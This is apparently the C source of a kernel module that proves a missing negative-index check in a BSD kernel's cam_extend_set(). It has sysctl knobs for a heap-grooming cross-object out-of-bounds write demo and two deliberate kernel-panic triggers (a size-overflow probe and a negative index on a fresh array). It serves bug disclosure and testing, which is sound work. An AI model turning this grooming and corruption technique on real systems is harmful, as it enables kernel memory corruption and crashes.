/* * oob5662.ko -- prove cam_extend_set()'s missing lower-bound index * validation (sys/bus/cam/cam_extend.c:54-78) against the live, * unmodified kernel: * * cam_extend_set() checks ONLY `index >= ea->nelem` (line 56). * For ANY negative index it falls through to: * if (ea->ps[index]) ... line 70 OOB READ * ea->ps[index] = value; line 75 OOB WRITE * * - on a grown array (nelem > 0) that is a fully controlled * kernel-pointer write at ps + 8*index (any negative offset), * landing in whatever object precedes the ps[] allocation. * - on a fresh array (cam_extend_new -> M_ZERO -> ps == NULL, * nelem == 0) that is a read/write at 0xfffffffffffffff8+.. * -> noncanonical -> fatal kernel trap. * * Contrast: cam_extend_get() (line 84) DOES validate `index < 0`. * * Knobs (sysctl): * debug.oob5662demo run the non-fatal demo (readback + neighbor * cross-object corruption proof) * debug.oob5662ovf growth-size signed overflow * (index = 0x7ffffffb -> index+EXTEND_CHUNK * wraps negative -> kmalloc(huge) -> NULL -> * M_ZERO macro memsets NULL -> kernel trap) * debug.oob5662nullcrash fresh-array negative index -> NULL-page * fault (FATAL: panics the guest) */ #include #include #include #include #include #include #include #include /* * Mirror of struct extend_array (sys/bus/cam/cam_extend.c:33-37). * Read-only use: observing nelem/ps of objects created by the real * cam_extend_new()/cam_extend_set() in this exact kernel build. */ struct ea_mirror { int nelem; void **ps; }; #define MARKER ((void *)0xcafe5662cafe5662UL) static int oob_demo(SYSCTL_HANDLER_ARGS); static int oob_ovf(SYSCTL_HANDLER_ARGS); static int oob_nullcrash(SYSCTL_HANDLER_ARGS); SYSCTL_PROC(_debug, OID_AUTO, oob5662demo, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_demo, "I", "run non-fatal negative-index demo"); SYSCTL_PROC(_debug, OID_AUTO, oob5662ovf, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_ovf, "I", "growth-size overflow probe (may panic)"); SYSCTL_PROC(_debug, OID_AUTO, oob5662nullcrash, CTLTYPE_INT | CTLFLAG_RW, 0, 0, oob_nullcrash, "I", "fresh-array negative index (PANICS)"); /* * Demonstrate the negative-index OOB read/write through the production * cam_extend_set(), including a groomed adjacent-chunk cross-object * write. Non-fatal. */ static int oob_demo(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; struct ea_mirror *m; void *groom[8]; void *before, *after, *neighbor; int i, writes = 0, refuses = 0, adj_ok = 0; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] demo: cam_extend_set negative-index OOB\n"); /* * Groom: 8 zeroed 64B M_DEVBUF chunks; free c7 then c6 so the * zone LIFO free-list hands out c6 first (neighbor) and c7 * second (ps[] from cam_extend_set's first growth), physically * adjacent, both zeroed by us. */ for (i = 0; i < 8; i++) { groom[i] = kmalloc(64, M_DEVBUF, M_INTWAIT); memset(groom[i], 0, 64); } kfree(groom[7], M_DEVBUF); kfree(groom[6], M_DEVBUF); neighbor = kmalloc(64, M_DEVBUF, M_INTWAIT); memset(neighbor, 0, 64); ea = cam_extend_new(); m = (struct ea_mirror *)ea; /* first growth: kmalloc(8*8=64) -> ps lands on the freed c7 */ cam_extend_set(ea, 0, (void *)0x1111111100000000UL); kprintf("[OOB5662] after set(0): nelem=%d ps=%p neighbor=%p " "(adjacent=%d)\n", m->nelem, m->ps, neighbor, (char *)m->ps == (char *)neighbor + 64); /* * Negative-index accesses through the production setter. * ps[-1] aliases neighbor[7] when adjacent; either way the * read/write through ea->ps[index] is out of bounds of the * ps[] allocation itself. */ for (i = -1; i >= -4; i--) { before = m->ps[i]; cam_extend_set(ea, i, MARKER); after = m->ps[i]; if (after == MARKER) { writes++; kprintf("[OOB5662] index=%d: OOB WRITE confirmed: " "ps[%d] = %p (was %p)\n", i, i, after, before); } else { refuses++; kprintf("[OOB5662] index=%d: setter took the " "\"already has storage\" path -- its own OOB " "READ returned %p\n", i, before); } } /* cross-object corruption of the adjacent chunk via ps[-1] */ if ((char *)m->ps == (char *)neighbor + 64 && ((void **)neighbor)[7] == MARKER) { adj_ok = 1; kprintf("[OOB5662] CROSS-OBJECT WRITE: neighbor chunk's " "last qword now %p via cam_extend_set(ea,-1,...)\n", ((void **)neighbor)[7]); } /* release-path delegation is safe (get validates index<0) */ cam_extend_release(ea, -1); kprintf("[OOB5662] release(ea,-1): no-op (delegates to get)\n"); kprintf("[OOB5662] demo done: oob_writes=%d oob_read_refuses=%d " "cross_object=%d\n", writes, refuses, adj_ok); return (0); } /* * Growth-size signed overflow: index = 0x7ffffffb makes * index + EXTEND_CHUNK wrap to a negative int (0x80000003), which the * kmalloc size math widens to ~2^64. Predicted: kmem_slab_alloc fails * -> kmalloc returns NULL -> cam_extend_set never checks -> bcopy/memset * or ea->ps[index] touches NULL/near-NULL -> fatal trap. */ static int oob_ovf(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] ovf: set(index=0x7ffffffb) -- " "index+EXTEND_CHUNK overflows int, kmalloc size ~2^64\n"); ea = cam_extend_new(); kprintf("[OOB5662] ovf: calling cam_extend_set...\n"); cam_extend_set(ea, 0x7ffffffb, MARKER); kprintf("[OOB5662] ovf: returned without trapping (unexpected)\n"); return (0); } /* * Fresh array: ps == NULL (cam_extend_new uses M_ZERO), nelem == 0, so * `index >= ea->nelem` is FALSE for any negative index and the setter * dereferences NULL + 8*index. Noncanonical -> fatal trap. PANICS. */ static int oob_nullcrash(SYSCTL_HANDLER_ARGS) { struct extend_array *ea; int v = 0, error; error = sysctl_handle_int(oidp, &v, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (v == 0) return (0); kprintf("[OOB5662] nullcrash: fresh array, set(index=-5) -> " "read at ps-40 = 0xffffffffffffffd8\n"); ea = cam_extend_new(); cam_extend_set(ea, -5, MARKER); kprintf("[OOB5662] nullcrash: returned without trapping " "(unexpected)\n"); return (0); } static int oob5662_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: kprintf("[OOB5662] loaded (cam_extend_set OOB harness)\n"); return (0); case MOD_UNLOAD: kprintf("[OOB5662] unloaded\n"); return (0); default: return (EOPNOTSUPP); } } static moduledata_t oob5662_mod = { "oob5662", oob5662_modevent, 0 }; DECLARE_MODULE(oob5662, oob5662_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);